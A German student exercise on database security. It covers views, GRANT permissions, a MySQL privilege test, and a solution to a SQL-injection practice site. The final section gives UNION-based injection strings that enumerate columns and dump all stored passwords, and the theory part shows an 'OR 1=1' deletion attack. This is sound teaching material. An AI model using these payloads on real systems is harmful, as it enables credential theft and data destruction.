Übung DS: Datensicherheit

Gruppe 8: Lukas Arnold, Patrick Bucher, Christopher James Christensen, Jonas Kaiser, Melvin Werthmüller

1. Selbststudium

Frage 1

Was heisst Datensicherheit?

- Der Begriff Datensicherheit umfasst technische und softwaregestützte Massnahmen zum Schutz der Daten vor Verfälschung, Zerstörung und Verlust.

Frage 2

Welche Rolle spielen Sichten für die Datensicherheit?

- Mithilfe von Sichten (Views) können Ausschnitte aus Tabellen mittels `SELECT`-Statements definiert werden.
- Der Zugriff der Benutzer auf die Datenbank kann eingeschränkt werden, indem man den Zugriff auf bestimmte Sichten beschränkt und den Zugriff auf die zugrundeliegende(n) Tabelle(n) sperrt.
- Das einer Sicht zugrundeliegende SQL-`SELECT`-Statement kann die sichtbaren Spalten über die Projektion (`SELECT …`), die sichtbaren Zeilen über die Selektion (`WHERE …`) einschränkten.

Frage 3

Was heisst Grant? Was heisst Grant Option?

- `GRANT` ist der Name des SQL-Befehls, mit welchem man einem Benutzer oder einer Benutzergruppe bestimmte Berechtigungen auf bestimmte Datenbankobjekte (Tabellen, Views etc.) geben kann.
- Fügt man einer `GRANT`-Operation die Klausel `WITH GRANT OPTION` hinzu, erhält der jeweilige Benutzer (bzw. die jeweilige Benutzergruppe) nicht nur die darin spezifizierte Berechtigung, sondern auch die Möglichkeit, diese Berechtigung auf weitere Benutzer auszudehnen.

Frage 4

Was ist SQL-Injection? Wie schützt man sich davor?

- SQL-Injection ist das Ausnutzen von mangelhaft abgesicherten, parametrisierten SQL-Anfragen einer Anwendung.
- Dabei wird ein Parameter einer SQL-Anfrage nicht nur – wie vom Programmierer gewünscht – mit einem Wert des entsprechenden Datentyps besetzt, sondern mit einer vom Angreifer injizierten Zeichenkette, z.B. einer erweiterten Bedingung oder gar einem ganzen SQL-Befehl.
- Beispiel:
  - Eine Webapplikation enthält dieses SQL-Statement:
    * `DELETE FROM user WHERE id =`
  - Als `username` wird eine Zeichenkette aus dem Query-String erwartet:
    * `/?action=delete&id=42`
  - Stattdessen sendet der Aufrufer folgende Anfrage:
    * `/?action=delete&id=42%20COR%20C1=1`
  - Daraus erstellt die Webapplikation folgendes SQL-Statement:
    * `DELETE FROM user WHERE id = 42 OR 1=1`
  - Da die Bedingung `1=1` für alle Datensätze zutrifft, werden sämtliche Einträge der Tabelle `user` gelöscht.

2. Views und Grants

1. Benutzer erstellen

```
create user 'Sokrates' identified by '@Sokrates';
create user 'Russel' identified by '@Russel';
create user 'Kopernikus' identified by '@Kopernikus';
create user 'Popper' identified by '@Augustinus';
create user 'Augustinus' identified by '@Augustinus';
create user 'Curie' identified by '@Curie';
create user 'Kant' identified by '@Kant';
```

2. Views erstellen

```
create view view_c4 as
    select vorlesungen.* from vorlesungen inner join
    professoren on (vorlesungen.gelesenVon = professoren.PersNr)
    where professoren.Rang = 'C4';

create view view_c3 as
    select vorlesungen.* from vorlesungen inner join
    professoren on (vorlesungen.gelesenVon = professoren.PersNr)
    where professoren.Rang = 'C3';
```

3. Rechte vergeben

```
select Name from professoren where Rang = 'C4';
```

```
Sokrates
Russel
Curie
Kant
```

```
grant select, insert, update, delete on view_c4 to Sokrates;
grant select, insert, update, delete on view_c4 to Russel;
grant select, insert, update, delete on view_c4 to Curie;
grant select, insert, update, delete on view_c4 to Kant;

grant select on view_c3 to Sokrates;
grant select on view_c3 to Russel;
grant select on view_c3 to Curie;
grant select on view_c3 to Kant;
```

```
select Name from professoren where Rang = 'C3';
```

```
Kopernikus
Popper
Augustinus
```

```
grant select, insert, update, delete on view_c3 to Kopernikus;
grant select, insert, update, delete on view_c3 to Popper;
grant select, insert, update, delete on view_c3 to Augustinus;
```

4. Test

Mit einem Professoren-Benutzer des Ranges C4:

```
mysql -u Sokrates -p@Sokrates
```

```
use uni;
show tables;
```

```
view_c3
view_c4
```

Sokrates sieht nur die Tabellen (bzw. Views), für welche er explizit Rechte erhalten hat!

```
update view_c4 set Titel = 'Metastrukturdekonstruktion' where Titel = 'Bioethik';
/*
Query OK, 1 row affected (0.01 sec)
Rows matched: 1  Changed: 1  Warnings: 0
*/
```

```
update view_c3 set Titel = 'Postmoderne Wissenschaftstheorie'
    where Titel = 'Der Wiener Kreis';
/*
ERROR 1142 (42000): UPDATE command denied to user 'Sokrates'@'localhost'
for table 'view_c3'
*/
```

Mit einem Professoren-Benutzer des Ranges C3:

```
mysql -u Augustinus -p@Augustinus
```

```
use uni;
show tables;
```

```
view_c3
```

```
update view_c3 set Titel = 'Postmoderne Wissenschaftstheorie'
    where Titel = 'Der Wiener Kreis';
/*
Query OK, 1 row affected, 1 warning (0.00 sec)
Rows matched: 1  Changed: 1  Warnings: 1
*/
```

Die Warnung stammt daher, dass die Spalte Titel mit dem Typ `varchar(30)` definiert ist und der neue Vorlesungstitel abgeschnitten wird.

3. SQL Injection

Hackit: http://hackit.gehaxelt.in/sqli/level1.php

Mit diesem Query-String kann man das Passwort eines Benutzers anhand dessen `id` anzeigen:

```
id=0+union+select+id,passwort+as+username,1,1,1+from+user+where+id=3
```

Für Abfragen mit `UNION` ist es wichtig, die Anzahl zurückgegebener Spalten zu kennen. Dies habe ich erraten, indem ich jeweils ein `,1` zusätzlich selektiert habe.

Die Spaltennamen habe ich auch erraten, sie liessen sich aber auch über das `information_schema` ermitteln, indem man die Spalten anhand der `ordinal_number` ausgibt (Zeilenumbrüche nur aus optischen Gründen vorhanden):

```
id=0+union+select+id,
(select+cols.col+from+
(select+ordinal_position,column_name+as+col+from+information_schema.columns+
where+table_name=%27user%27+and+ordinal_position=1)+as+cols)+as+username,1,1,1+from+user
```

Sämtliche IDs kann man so herausfinden:

```
id=0+union+select+id,GROUP_CONCAT(id)+as+username,1,1,1+from+user
```

Und so sämtliche Passwörter:

```
id=0+union+select+id,GROUP_CONCAT(passwort)+as+username,1,1,1+from+user
```

Wichtig ist, dass man der gewünschten Information den alias-Namen `username` vergibt, denn dieser Wert wird auf der Seite dargestellt.

Hier ist die ganze Tabelle `user`:

```
id  username  passwort
--  --------  --------
 1  adminer   me_as_a_admin
 2  rooter    dont_know_me
 3  test      password_to_weak
```